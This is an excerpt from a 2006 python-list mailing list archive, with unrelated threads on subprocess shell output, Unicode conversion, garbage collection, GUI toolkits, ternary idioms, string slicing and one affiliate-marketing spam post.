> in the Python stats module: it gives exact results, so there's no need
> to check that an approximation is good enough. But then, the
> disappointment came.
>
> What do you do with this file? It documents the words it depends on, but
> not where to get them. I'm looking at a significant effort to assemble
> the pieces here, an effort I didn't suffer through with Python. So, my
> first question was: "Is it worth it?".
>
> The answer came from searching for FITS support in Forth. If it exists
> in public, it must be really well hidden. That's a "show stopper", so
> there was no point in pursuing the Forth approach further.
>
> In the end, it was like comparing a muzzle-loading sharpshooter's rifle
> with a machine gun: Forth got off one really good shot, but Python just
> mowed the problems down.
>
> The advocates of the idea that Standard Forth has been a boon to code
> reusability seem mostly to be people with large private libraries of
> Forth legacy code. No doubt to them it really has been a boon. But I
> think this little experiment shows that for the rest of us, Python has a
> published base of reusable code that puts Forth to shame.
>
> --
> John Doty, Noqsi Aerospace, Ltd.
> --
> Specialization is for robots.



From sjdevnull at yahoo.com  Mon Oct 16 17:17:40 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 16 Oct 2006 14:17:40 -0700
Subject: Output from subprocess.Popen()
In-Reply-To: <1160923622.901247.310170@b28g2000cwb.googlegroups.com>
References: <1160923622.901247.310170@b28g2000cwb.googlegroups.com>
Message-ID: <1161033460.506489.96820@b28g2000cwb.googlegroups.com>

Clodoaldo Pinto Neto wrote:
> Output from the shell:
>
> [cpn at s0 teste]$ set | grep IFS
> IFS=$' \t\n'
>
> Output from subprocess.Popen():
>
> >>> import subprocess as sub
> >>> p = sub.Popen('set | grep IFS', shell=True, stdout=sub.PIPE)
> >>> p.stdout.readlines()[1]
> "IFS=' \t\n"
>
> Both outputs for comparison:
> IFS=$' \t\n'
> "IFS=' \t\n"
>
> The subprocess.Popen() output is missing the $ and the last '
>
> How to get the raw shell output from subprocess.Popen()?

You are getting the raw shell output, it's just that subprocess uses
the default shell (/bin/sh) and not your personal shell.  Try running
/bin/sh and run the set|grep command.

I can't see any obvious way to ask subprocess to use a shell other than
the default.
If you need a particular shell, you could use a shell script, e.g.
myscript.sh:
#!/bin/bash
set|grep IFS

and call that with shell=False
p = sub.Popen('/path/to/myscript.sh', stdout=sub.PIPE)



From claird at lairds.us  Thu Oct  5 17:26:41 2006
From: claird at lairds.us (Cameron Laird)
Date: Thu, 5 Oct 2006 21:26:41 +0000
Subject: tkinter newsgroup or mailing list
References: <eg3hvd$s9h$1@newsreader2.utanet.at>
	<mailman.1375.1160074048.10491.python-list@python.org>
Message-ID: <ht9gv3-71l.ln1@lairds.us>

In article <mailman.1375.1160074048.10491.python-list at python.org>,
Steve Holden  <steve at holdenweb.com> wrote:
>Franz Steinhaeusler wrote:
>> Hello NG,
>> 
>> I'm asking this, (although I know a mailing list on gmane
>> gmane.comp.python.tkinter and there is so little traffic
>> compared to the mailing list of wxPython also mirrored
>> on gmane gmane.comp.python.wxpython.
>> 
>> I cannot imagine, that there is no more interest
>> in exchanging opinions, or is this really the case?
>> 
>> Is tkinter so simple, that no more questions appear?
>> Or is it simply so uninteresting? :)
>> 
>Tkinter questions tend to get asked and answered on this list. Try 
>searching it and you'll see there's still plenty of interest!
			.
			.
			.
Not all of them, Steve; you'll want to notice <URL:
http://tkinter.unpythonic.net/wiki/TkinterDiscuss >
also.


From fredrik at pythonware.com  Fri Oct  6 06:59:14 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 12:59:14 +0200
Subject: how to convert UNICODE to integer in Python?
In-Reply-To: <1160132024.709430.63080@b28g2000cwb.googlegroups.com>
References: <1160132024.709430.63080@b28g2000cwb.googlegroups.com>
Message-ID: <eg5cu2$dlv$4@sea.gmane.org>

kath wrote:

>     xldays = int(xldate)
> ValueError: invalid literal for int(): Date
> 
> because xlrd.xldate_as_tuple() function expects first argument to be an
> integer. How do I convert an unicode character to integer, so that I
> could get the date using xlrd.xldate_as_tuple() function.

the error doesn't say anything about Unicode characters, it says that 
someone's passing the string "Date" to the int() function.

 >>> int("Date")
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
ValueError: invalid literal for int(): Date

</F>



From daniele.varrazzo at gmail.com  Tue Oct  3 11:01:54 2006
From: daniele.varrazzo at gmail.com (Daniele Varrazzo)
Date: 3 Oct 2006 08:01:54 -0700
Subject: Benchmarking Python's subroutines/function
In-Reply-To: <mailman.1175.1159884542.10491.python-list@python.org>
References: <mailman.1175.1159884542.10491.python-list@python.org>
Message-ID: <1159887711.549393.87070@k70g2000cwa.googlegroups.com>


Wijaya Edward ha scritto:

> Hi,
>
> How does one benchmark
> multiple subroutines in Python?
> Is there a built-in library for that?

the timeit module, and the Python profile for a deeper insight. See
"The Python Profiler" in the Python Library Reference.

>
> --
> Regards,
> Edward WIJAYA
> SINGAPORE
>
> ------------ Institute For Infocomm Research - Disclaimer -------------
> This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
> --------------------------------------------------------



From BjornSteinarFjeldPettersen at gmail.com  Mon Oct 30 04:15:03 2006
From: BjornSteinarFjeldPettersen at gmail.com (thebjorn)
Date: 30 Oct 2006 01:15:03 -0800
Subject: Is there a way to get utf-8 out of a Unicode string?
In-Reply-To: <mailman.1470.1162193493.11739.python-list@python.org>
References: <1162193088.091894.269630@m73g2000cwd.googlegroups.com>
	<mailman.1470.1162193493.11739.python-list@python.org>
Message-ID: <1162199703.081370.85440@i42g2000cwa.googlegroups.com>

Gerrit Holl wrote:
> Hei,
>
> On 2006-10-30 08:25:41 +0100, thebjorn wrote:
> >   def unfk(s):
> >       return eval(repr(s)[1:]).decode('utf-8')
> >
...
> > Is there a less hack'ish way to do this?
>
> Slightly lack hackish:
>
> return ''.join(chr(ord(c)) for c in s)

Much less hackish :-)

-- bjorn



From grd6dinesh at gmail.com  Tue Oct 10 23:55:07 2006
From: grd6dinesh at gmail.com (dinesh)
Date: 10 Oct 2006 20:55:07 -0700
Subject: Get everything you need for a successful Marketing Campaign Today!
Message-ID: <1160538907.689873.309800@m7g2000cwm.googlegroups.com>

Get everything you need for a successful Marketing Campaign Today!

Marketing Software - Promotion Center - Guaranteed Visitors -
Guaranteed Signups

Solo Emails - 1 Million Opt In Leads - Banner ads - Website
Submission and Lots More

http://www.typeinternational.com/idevaffiliate/idevaffiliate.php?id=5386_34_3_74



From andrei.zavidei at gmail.com  Mon Oct  2 11:50:55 2006
From: andrei.zavidei at gmail.com (andrei.zavidei at gmail.com)
Date: 2 Oct 2006 08:50:55 -0700
Subject: Multiplayer 2-D space action shooter in Python (using wxWindows)
Message-ID: <1159804255.878456.223820@c28g2000cwb.googlegroups.com>

Hi guys,

Well, here is my humble contribution to the community:

http://sourceforge.net/projects/erocket

I started that project to learn Python and wxWindows.
By all means, I am no Python Guru, but maybe someone could find
something useful.
Also please consider that it is under development and is far from being
finished.

Best regards,
Andrei



From martin at v.loewis.de  Mon Oct 30 16:18:32 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 30 Oct 2006 22:18:32 +0100
Subject: Compile Python With SSL On Solaris 10
In-Reply-To: <1162219833.769046.64960@m73g2000cwd.googlegroups.com>
References: <1162219833.769046.64960@m73g2000cwd.googlegroups.com>
Message-ID: <45466C28.4040909@v.loewis.de>

judasi at gmail.com schrieb:
> I am trying to compile py2.4.3/2.5 on a Solaris 10x86 machine, but
> cannot get it to build an SSL enabled version.  I have added the
> relevant sfw directories into the path/crle, with no success.  I've
> even explicitly added ssl via the --with-libs directive, yet an import
> _ssl still fails.
> 
> Has anyone else come across this?

setup.py ignores all this. You have to edit Modules/Setup if you want
to specify non-standard search locations for header files and libraries.

Regards,
Martin


From Luwian at gmail.com  Sun Oct 22 12:09:54 2006
From: Luwian at gmail.com (Lucas)
Date: 22 Oct 2006 09:09:54 -0700
Subject: How to print a file in binary mode
In-Reply-To: <mailman.940.1161528936.11739.python-list@python.org>
References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com>
	<pan.2006.10.22.13.06.08.86072@gmx.net>
	<1161524030.833422.216370@k70g2000cwa.googlegroups.com>
	<mailman.940.1161528936.11739.python-list@python.org>
Message-ID: <1161533394.483372.140500@m7g2000cwm.googlegroups.com>

well,  if I just open the file in binary mode, and write a string,e.g
'660', how do i read the result? I means I need print the binary in
screen.

do these?

fileWrite = open('a.jpg',''ab')
fileWrite.write('660')
fileWrite.close()

fileRead = open('a.jpg','rb')
b = fileRead.read()
fileRead.close()
print b

???????

Thanks again

Fredrik Lundh wrote:
> Lucas wrote:
>
> > I do it because I want to encrypt a string into a picture using RSA
> > algorithm.
>
> what does "into" mean?  are you supposed to encrypt the binary data
> representing the JPEG image, or embed a message into the actual image?
>
>  > so I first convert the string to binary,and then saving the binary
>  > into picture
>
> you seem to have a rather fuzzy understanding of the words "string" and
> "binary" here.  if you read from a file that's opened in binary mode,
> you get an 8-bit string that contains the binary data.  there's no need
> for any conversion here; just use the data you got from "read".
>
>  > finally, print the picture by binary!
>
> do you mean "save the picture to a binary file", or something else?
> 
> </F>



From fredrik at pythonware.com  Sun Oct  1 13:24:22 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 01 Oct 2006 19:24:22 +0200
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <qjSTg.106462$ED5.1281165@phobos.telenet-ops.be>
References: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>	<efoo0p$59s$2@sea.gmane.org>	<mailman.1052.1159719593.10491.python-list@python.org>
	<qjSTg.106462$ED5.1281165@phobos.telenet-ops.be>
Message-ID: <efotk9$mkt$1@sea.gmane.org>

Roel Schroeven wrote:

> AFAIK Python always does reference counting, and the garbage collector 
> is used only for more difficult cases. As the gc module docs say:
> "Since the collector supplements the reference counting already used in 
> Python, you can disable the collector if you are sure your program does 
> not create reference cycles."
> 
> I don't know if that's only true for CPython or also for the other 
> implementations.

CPython always uses reference counting, but that's not guaranteed by the 
language specification:

   "Objects are never explicitly destroyed; however, when they become
   unreachable they may be garbage-collected. An implementation is
   allowed to postpone garbage collection or omit it altogether -- it
   is a matter of implementation quality how garbage collection is
   implemented, as long as no objects are collected that are still
   reachable."

   http://pyref.infogami.com/objects

</F>



From grante at visi.com  Wed Oct 11 10:54:20 2006
From: grante at visi.com (Grant Edwards)
Date: Wed, 11 Oct 2006 14:54:20 -0000
Subject: OT: Sarcasm and irony
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
	<mailman.193.1160473683.11739.python-list@python.org>
	<12iosfh75stcf0e@corp.supernews.com>
	<mailman.263.1160544736.11739.python-list@python.org>
Message-ID: <12iq1csdgd8b7c2@corp.supernews.com>

On 2006-10-11, Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:
> Grant Edwards <grante at visi.com> writes:
>
>> Sarcasm is a form of irony.  Irony is when what is meant is
>> different from the obvious literal meaning of the statement.
>
> Irony need not have anything to do with the meaning and intent of the
> speaker. Indeed, irony can occur when there is no communication at
> all; an ironic outcome does not require anyone to have said or
> communicated anything.
>
>> Like Alanis Morisette said about the song "Isn't it Ironic": What's
>> ironic about the song is that it doesn't actually contain any irony.
>
> What source do you have for Morissette saying that?

I read it on some english-usage web site -- I wouldn't regard
it as very authoritative in regards to the Alanis Morisette
quote.

> I've seen many people saying it *about* her song, but nothing
> from her that isn't just repeating what others have said.

-- 
Grant Edwards                   grante             Yow!  I request a weekend
                                  at               in Havana with Phil
                               visi.com            Silvers!


From hg at nospam.com  Thu Oct 12 21:44:29 2006
From: hg at nospam.com (hg)
Date: Thu, 12 Oct 2006 20:44:29 -0500
Subject: COM and Threads
In-Reply-To: <1160703286.841671.109210@b28g2000cwb.googlegroups.com>
References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com>
Message-ID: <zkCXg.27279$Go3.12012@dukeread05>

Teja wrote:
> I have an application which uses COM 's Dispatch to create a COM based
> object. Now I need to upgrade the application to a threaded one. But
> its giving an error that COM and threads wont go together. Specifically
> its an attribute error at the point where COM object is invoked. Any
> pointers please??????
> 

If COM is not thread safe, then use processes



From rpdooling at gmail.com  Wed Oct 25 11:43:09 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 25 Oct 2006 08:43:09 -0700
Subject: python GUIs comparison (want)
In-Reply-To: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
Message-ID: <1161790989.759272.49650@b28g2000cwb.googlegroups.com>


Well, I am woefully unqualified to speak to the general state of Python
gui frameworks, but I am in a similar situation as the OP, i.e., a
beginner looking to TRY some easy gui programming in Python. Not being
a computer science person, just an amateur scripter, I tend to learn
best from lots of examples.

With all of that as background, I downloaded the latest wxPython demos
and docs yesterday. I suggest that the OP do the same. The demo.py
program is an amazing piece of work. It's loaded with specific examples
which allow you to view the frame or dialog etc, and then look behind
it to see the code used to create it.

rd



From hanumizzle at gmail.com  Wed Oct 11 04:42:37 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 04:42:37 -0400
Subject: People's names
In-Reply-To: <e02Xg.123270$O75.2343035@phobos.telenet-ops.be>
References: <JnzSg.36$1n3.471@news.tufts.edu>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
	<mailman.93.1160373988.11739.python-list@python.org>
	<egd0k3$u3r$2@lust.ihug.co.nz>
	<mailman.171.1160464326.11739.python-list@python.org>
	<PIJWg.121635$1a4.2250811@phobos.telenet-ops.be>
	<m2slhw2iq0.fsf@ordesa.local>
	<mailman.250.1160532801.11739.python-list@python.org>
	<e02Xg.123270$O75.2343035@phobos.telenet-ops.be>
Message-ID: <463ff4860610110142h72fe5fcdv69f9fc19a5a46751@mail.gmail.com>

On 10/11/06, Roel Schroeven <rschroev_nospam_ml at fastmail.fm> wrote:

> My observation is that in general names keep hanging on to archaic forms
> much longer than normal language. Examples:
>
> - A very common name around here is Hendrickx. In normal language, the
> 'ckx' construction is replaced with 'ks'.
> - 'Straat' (English: 'street') (or 'straten' in multiple) used to be
> written 'straet' ('straeten'); in names it is still written like that:
> 'Verstraeten' is a common name. 'Verstraten' exists too though, but is
> less common I think.
>
> But I can't think of that many names with 'der', so maybe the
> declensions have been dropped already.

Dutch 2.5. kekekekeke

I will be touring Flanders and seeing friends up there soon, actually.

-- Theerasak


From martin at v.loewis.de  Thu Oct  5 14:22:17 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 05 Oct 2006 20:22:17 +0200
Subject: MySQLdb for Python 2.5
In-Reply-To: <1160061665.096861.313340@b28g2000cwb.googlegroups.com>
References: <5_ednYPtY9vSSoDYnZ2dnUVZ_rqdnZ2d@insightbb.com>
	<451e25f3$0$25620$9b622d9e@news.freenet.de>
	<1160061665.096861.313340@b28g2000cwb.googlegroups.com>
Message-ID: <45254D59.3080804@v.loewis.de>

FatherAntox schrieb:
>> AFAICT, MySQLdb 1.2.1 builds and works just fine.
>>
> 
> What is your setup as I am receiving a number of "Cannot open ..."
> errors related to various msysql libraries and includes?  I am running
> in a Windows XP environment with MySQL 5.1.  Thanks in advance.

I have been using Debian unstable. As I said, it built out of the box
(I actually built the Debian source package, adding 2.5 to the list
 of target versions).

Regards,
Martin


From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Tue Oct 31 13:26:40 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Tue, 31 Oct 2006 19:26:40 +0100
Subject: Event driven server that wastes CPU when threaded doesn't
References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com>	<1162156412.199341.315540@i42g2000cwa.googlegroups.com>
	<4qlmncFnjfn7U1@individual.net>
	<mailman.1468.1162193127.11739.python-list@python.org>
Message-ID: <4qpir0Fobb1jU1@individual.net>

Fredrik Lundh wrote:

> by running the database queries in one or more separate threads,
> you can still serve requests that don't hit the database (either
> because they're entirely self-contained, or because they only rely
> on cached data).

Nothing that couldn't also be solved without threads. :)

Regards,


Bj?rn

-- 
BOFH excuse #362:

Plasma conduit breach



From eldiener_no_spam_here at earthlink.net  Mon Oct  9 13:59:18 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Mon, 09 Oct 2006 17:59:18 GMT
Subject: Python component model
Message-ID: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>

The definition of a component model I use below is a class which allows 
properties, methods, and events in a structured way which can be 
recognized, usually through some form of introspection outside of that 
class. This structured way allows visual tools to host components, and 
allows programmers to build applications and libraries visually in a RAD 
environment.

The Java language has JavaBeans as its component model which allows Java 
applications to be built in a visual RAD way. Microsoft's .Net has a 
component model built-in to its .Net class libraries as well as 
supported by CLR which allows .Net applications to be built visually 
using components created in any .Net supported language.

With Python things are different. There is no single component model 
which allows Python developers to build components which will be used 
and recognized by the various RAD Python tools on the market. Instead a 
developer must create a slightly different set of Python classes for 
each RAD Python tool. This is the situation despite Python's having 
easily as much functionality, if not much more, as Java or .Net 
languages such as C#, VB, or C++/CLI for creating components, and for 
allowing visual tools to introspect the properties, methods, and events 
of Python classes.

I believe that Python should have a common components model for all RAD 
development environments, as that would allow the Python programmer to 
create a set of classes representing components which would work in any 
environment. I want to immediately point out that components do not 
simply mean visual GUI components but what may be even more important, 
non-visual components. Having used RAD development environments to 
create applications, I have found such environments almost always much 
better than coding complex interactions manually, and I believe that 
visual development environments are almost a necessity in today's world 
of large-scale, multi-tier, and enterprise applications.

Has there ever been, or is there presently anybody, in the Python 
developer community who sees the same need and is working toward that 
goal of a common component model in Python, blessed and encouraged by 
those who maintain the Python language and standard modules themselves ?


From fulvio at tm.net.my  Tue Oct 24 11:41:36 2006
From: fulvio at tm.net.my (Fulvio)
Date: Tue, 24 Oct 2006 23:41:36 +0800
Subject: Handling emails
In-Reply-To: <1161630451.506987.207820@h48g2000cwc.googlegroups.com>
References: <mailman.967.1161596728.11739.python-list@python.org>
	<1161630451.506987.207820@h48g2000cwc.googlegroups.com>
Message-ID: <200610242341.36260.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Tuesday 24 October 2006 03:07, Gerard Flanagan wrote:
> The 'PopClient' class here might help you:
Thank you, both for the replies.
Gerard,
Surely I'll peep on that code ;-) to gather a wider perspective. A small 
negative point is that for pop deals I've gotten a good success :-) But I 
don't give up, perhaps it there'll be some good idea.
I'm more interested for the IMAP side of the issue, even I might avoid for my 
own purposes.

Last, suppose to publish the "thing" where will it be the appropriate site?
At the present my program can do filtering and sincronizing with local MUA 
trash. Small problems with IMAP protocol, but it may work for POP3 or  IMAP4 
on regex filter options. Alfa testers (cooperators) needed ;-)

F




From hanumizzle at gmail.com  Wed Oct 11 04:13:21 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 04:13:21 -0400
Subject: OT: Sarcasm and irony
In-Reply-To: <873b9v6zt4.fsf@benfinney.id.au>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
	<mailman.193.1160473683.11739.python-list@python.org>
	<12iosfh75stcf0e@corp.supernews.com>
	<1160544879.915425.250200@m7g2000cwm.googlegroups.com>
	<463ff4860610102244y348d8b5alc8247e84775d1cd3@mail.gmail.com>
	<873b9v6zt4.fsf@benfinney.id.au>
Message-ID: <463ff4860610110113r74f47939he31e0c31a6964d19@mail.gmail.com>

On 10/11/06, Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:
> "Theerasak Photha" <hanumizzle at gmail.com> writes:
>
> > I hate June. June sucks. Blindly following some Roman custom relating
> > to Juno (the real reason why people have June weddings)
>
> Well, our traditions and ceremonies in the anti-podes (thanks SteveH)
> are very Euro-centric; but we still have our weddings in the hot
> months of November through February, so Juno has nothing to do with
> it. I think it's nothing more than the expectation that the weather
> will be clear.

I'm positive on very few things, but I am certain that the Western
wedding custom for favoring June has to do with Juno. (That and it's
Woden's Day here in EST time zone as I write.)

Back in those days, the Roman bride wore some kind of knotted leather
thingie to the wedding. Interesting...

-- Theerasak


From durumdara at gmail.com  Wed Oct 11 04:08:53 2006
From: durumdara at gmail.com (durumdara)
Date: Wed, 11 Oct 2006 10:08:53 +0200
Subject: PyDoc and mod_python
Message-ID: <452CA695.60205@gmail.com>

Hi !

I need to write documentation for my mod_python website, for the base 
classes, functions, modules.
The problem, that mod_python is imported "apache" that not existing in 
the normal, pythonic way (only in Apache).

If my source is containing a tag that use this module, or it's 
submodule, the pydoc is not working.

### test.py ###
from mod_python import apache
...

The result is.
c:\>c:\python24\Lib\pydoc.py c:\test.py
problem in c:\test.py - ImportError: No module named _apache

So I need a cheat, or I need to force the pydoc to avoid to parse these 
modules...

Is anybody have an experience, how can I do it ?

Thanks for it:
dd


From didier-dot-trosset at acqiris.com  Fri Oct  6 07:14:50 2006
From: didier-dot-trosset at acqiris.com (Didier Trosset)
Date: Fri, 06 Oct 2006 13:14:50 +0200
Subject: Copying file descriptors
Message-ID: <45263aab$0$296$426a74cc@news.free.fr>

I am using the following code. It is used to spawn a new process (using 
popen) and to change the file handles so that subsequent writes to 
standard output with printf goes into this child process standard input.


   import os

   child_stdin = os.popen("cat -", "w")
   old_stdout = os.dup(1)
   os.close(child_stdin.fileno())

   print "foo"

   os.dup2(old_stdout, 1)
   os.close(old_stdout)



It works. But the results is:
   close failed: [Errno 9] Bad file descriptor
when I am using python 2.4. Note that python 2.3 did not output such an 
error.

I am guessing that upon ending the script, python tries to close 
child_stdin file object, whereas the underlying file descriptor has 
already been closed. Thus the error.

Does anyone knows what to do to avoir this error message?

Thanks
Didier


From grflanagan at yahoo.co.uk  Wed Oct 25 07:36:23 2006
From: grflanagan at yahoo.co.uk (Gerard Flanagan)
Date: 25 Oct 2006 04:36:23 -0700
Subject: Handling emails
In-Reply-To: <mailman.1158.1161766901.11739.python-list@python.org>
References: <mailman.967.1161596728.11739.python-list@python.org>
	<1161630451.506987.207820@h48g2000cwc.googlegroups.com>
	<mailman.1158.1161766901.11739.python-list@python.org>
Message-ID: <1161776182.991182.321490@b28g2000cwb.googlegroups.com>


Fulvio wrote:
> On Tuesday 24 October 2006 03:07, Gerard Flanagan wrote:
> > The 'PopClient' class here might help you:
>
> I got a look rather later. Let me say that is impressively pythonic :-)

I don't know if everyone would agree with you, but thanks!

Have you looked at the email.utils module? Some useful functions there.

All the best

Gerard



From hanumizzle at gmail.com  Fri Oct  6 01:32:24 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 01:32:24 -0400
Subject: was python implemented as a object oriented langage at the
	beginning ?
In-Reply-To: <45236f74$0$19034$426a74cc@news.free.fr>
References: <f3a8ca7c0610030506k2fb6040ai9e256049ebf9100e@mail.gmail.com>
	<mailman.1162.1159878320.10491.python-list@python.org>
	<1159879673.081812.124460@i3g2000cwc.googlegroups.com>
	<1159913594.141208.280030@i3g2000cwc.googlegroups.com>
	<45236f74$0$19034$426a74cc@news.free.fr>
Message-ID: <463ff4860610052232y59b41b3eye8af47a24d08462d@mail.gmail.com>

On 10/4/06, Bruno Desthuilliers <onurb at xiludom.gro> wrote:
> has wrote:
> > Python's type/class
> > distinction
>
> Which "type/class" distinction ?

I think he means pre 2.2. (?)


From jorge.com.br at gmail.com  Fri Oct  6 14:34:37 2006
From: jorge.com.br at gmail.com (Jorge Vilela)
Date: Fri, 6 Oct 2006 14:34:37 -0400
Subject: Rich text processor component
Message-ID: <4cfa17b10610061134v7cce994eke2e14da8bf13944c@mail.gmail.com>

Hello, do anyone know if exists anything about rich text processor in
python, as a component or good tutorial about it?


Thanks
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From python.list at tim.thechases.com  Tue Oct 17 09:48:58 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Tue, 17 Oct 2006 08:48:58 -0500
Subject: Tertiary Operation
In-Reply-To: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
Message-ID: <4534DF4A.2030007@tim.thechases.com>

> x = None
> result = (x is None and "" or str(x))
> 
> print result, type(result)
> 
> ---------------
> OUTPUT
> ---------------
> None <type 'str'>
> 
> 
> y = 5
> result = (y is 5 and "it's five" or "it's not five")
> 
> print result
> 
> -------------
> OUTPUT
> -------------
> it's five
> 
> ...what's wrong with the first operation I did with x?  I was expecting
> "result" to be an empty string, not the str value of None.

An empty string evaluates to False, so it then continues to the 
other branch.  Either of the following should suffice:

	# return a non-empty string
	x is None and "None" or str(x)

	# invert the logic and return
	# something in the "and" portion
	x is not None and str(x) or ""

There are more baroque ways of writing the terniary operator in 
python (although I understand 2.5 or maybe python 3k should have 
a true way of doing this).  My understanding is that one common 
solution is something like

	{True: "", False: str(x)}[x is None]

-tkc





From gagsl-py at yahoo.com.ar  Wed Oct 25 20:30:45 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 25 Oct 2006 21:30:45 -0300
Subject: Dealing with multiple sets
In-Reply-To: <1161821534.759477.194750@m7g2000cwm.googlegroups.com>
References: <1161821282.846050.184360@e3g2000cwe.googlegroups.com>
	<1161821534.759477.194750@m7g2000cwm.googlegroups.com>
Message-ID: <7.0.1.0.0.20061025212425.038ccae8@yahoo.com.ar>

At Wednesday 25/10/2006 21:12, John Henry wrote:

>Oops.  Forgot to mention, I am still using 2.3.

try: set
except NameError: from sets import Set as set

and the code will work almost exactly the same in 2.3/2.4

> > 1) Give me a list of the items that are in all of the sets? (3 in the
> > above example)

a & b & c
& is the intersection operator.

> > 2) Give me a list of the items that are not in all of the sets? (1,2 in
> > the above example)

(a | b | c) - (a & b & c)
(take the union of all items) except (the ones that are 
simultaneously in all sets)


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From ath-admin at vt.edu  Thu Oct 19 11:47:38 2006
From: ath-admin at vt.edu (rick)
Date: Thu, 19 Oct 2006 11:47:38 -0400
Subject: invert or reverse a string... warning this is a rant
Message-ID: <eh8708$nc7$1@solaris.cc.vt.edu>

Why can't Python have a reverse() function/method like Ruby?

Python:
x = 'a_string'
# Reverse the string
print x[::-1]

Ruby:
x = 'a_string'
# Reverse the string
print x.reverse

The Ruby approach makes sense to me as a human being. The Python 
approach is not easy for me (as a human being) to remember. Can that be 
changed or should I just start blindly memorizing this stuff?

P.S. I like Python better than Ruby 90% of the time and use Python 90% 
of the time, but 10% of the time, little things such as this drive me crazy!


From jhefferon at smcvt.edu  Fri Oct  6 07:40:36 2006
From: jhefferon at smcvt.edu (Jim)
Date: 6 Oct 2006 04:40:36 -0700
Subject: CGI Tutorial
References: <mailman.1421.1160120005.10491.python-list@python.org>
Message-ID: <1160134836.244721.55350@m73g2000cwd.googlegroups.com>

Sells, Fred wrote:
> content is great, my comments are editorial.
>
> I prefer PDF with bookmarks rather than HTML.
>   <clip>
> If you choose to go the PDF route, I've found OpenOffice 2.0 pretty good at
> generating PDF with bookmarks.  Just don't get too complex or OO may hose
> you.
Since you replied to a person who replied to me and who mentioned it, I
assume that you are talking about my text _Linear Algebra_ (I have
another text up, _Number Theory_, that no one seems to know about so I
assume you are not talking about it).  If that's true then it is way
off topic, not just for the thread but for the newsgroup.  Please write
me separately at the address given on the web page for the text.

But, my book doesn't use any HTML.  It also doesn't come from a word
processor, since for mathematics the standard is LaTeX, so maybe you
are talking about something entirely unrelated?  But at all events it
seems not to have to do with CGI.

Jim



From horpner at yahoo.com  Thu Oct 12 08:47:42 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 12 Oct 2006 14:47:42 +0200
Subject: does raw_input() return unicode?
References: <12iln7en9ipit77@corp.supernews.com>
	<Xns98585798B4CC5duncanbooth@127.0.0.1>
	<1160541147.208698.252310@e3g2000cwe.googlegroups.com>
	<slrneipofg.1uk.horpner@FIAD06.norwich.edu>
	<452D4ABB.8020704@v.loewis.de>
Message-ID: <slrneisedc.i8.horpner@FIAD06.norwich.edu>

On 2006-10-11, Martin v. L?wis <martin at v.loewis.de> wrote:
> Neil Cerutti schrieb:
>> I'm all mindboggley. Just when I thought I was starting to
>> understand how this character encoding stuff works. Are
>> PythonWin's stdout and stdin implementations is incomplete?
>
> Simple and easy: yes, they are.

Oh, phew!

-- 
Neil Cerutti
Any time I've taken the mound, it's always been the old
Samson-and-Goliath story written about me. --Randy Johnson


From dracula571 at gmail.com  Tue Oct 17 02:23:06 2006
From: dracula571 at gmail.com (dracula571)
Date: 16 Oct 2006 23:23:06 -0700
Subject: a question about s[i:j] when i is negative
Message-ID: <1161066186.490960.326230@m73g2000cwd.googlegroups.com>

s[i:j] slice of s from i to j         (3), (4)

(3)
If i or j is negative, the index is relative to the end of the string:
len(s) + i or len(s) + j is substituted. But note that -0 is still 0.


(4)
The slice of s from i to j is defined as the sequence of items with
index k such that i <= k < j. If i or j is greater than len(s), use
